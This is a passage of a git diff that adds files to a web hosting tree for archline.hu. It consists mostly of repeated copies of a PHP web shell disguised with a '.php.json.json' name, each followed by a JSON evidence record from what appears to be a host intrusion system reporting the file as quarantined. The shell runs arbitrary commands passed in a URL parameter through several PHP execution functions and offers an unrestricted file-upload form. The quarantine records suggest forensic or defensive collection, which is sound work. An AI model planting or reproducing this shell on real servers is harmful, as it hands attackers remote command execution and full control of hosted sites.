+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json.evidence.json
new file mode 100644
index 0000000..5536f4d
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3046",
+  "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_wurtsehy.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857964,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_wurtsehy.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json b/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json.evidence.json
new file mode 100644
index 0000000..b5ff3eb
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3039",
+  "log_excerpt": "[quarantine] www.archline.hu:media/_h3x_xvdnccmk.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_xvdnccmk.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838218,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "media/_h3x_xvdnccmk.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json.evidence.json
new file mode 100644
index 0000000..46e236e
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3569",
+  "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_7lqwo12d.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_7lqwo12d.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783861960,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_7lqwo12d.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json.evidence.json
new file mode 100644
index 0000000..77d36e9
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3541",
+  "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_7ye9dcos.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_7ye9dcos.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857956,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_7ye9dcos.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json.evidence.json
new file mode 100644
index 0000000..b4a1ff2
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3561",
+  "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_cea0tg5l.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_cea0tg5l.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783857937,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_cea0tg5l.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json.evidence.json
new file mode 100644
index 0000000..43e45fd
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3568",
+  "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_ge11h1xh.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_ge11h1xh.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838209,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_ge11h1xh.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json.evidence.json
new file mode 100644
index 0000000..c0fc58f
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3547",
+  "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_mmb5h47f.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_mmb5h47f.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783838202,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_mmb5h47f.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json b/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json.evidence.json b/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json.evidence.json
new file mode 100644
index 0000000..d0f19f7
--- /dev/null
+++ b/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "3566",
+  "log_excerpt": "[quarantine] www.archline.hu:tmp/_h3x_p2cfauob.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/tmp/_h3x_p2cfauob.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783858327,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "tmp/_h3x_p2cfauob.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160241Z",
+  "vhost": "www.archline.hu"
+}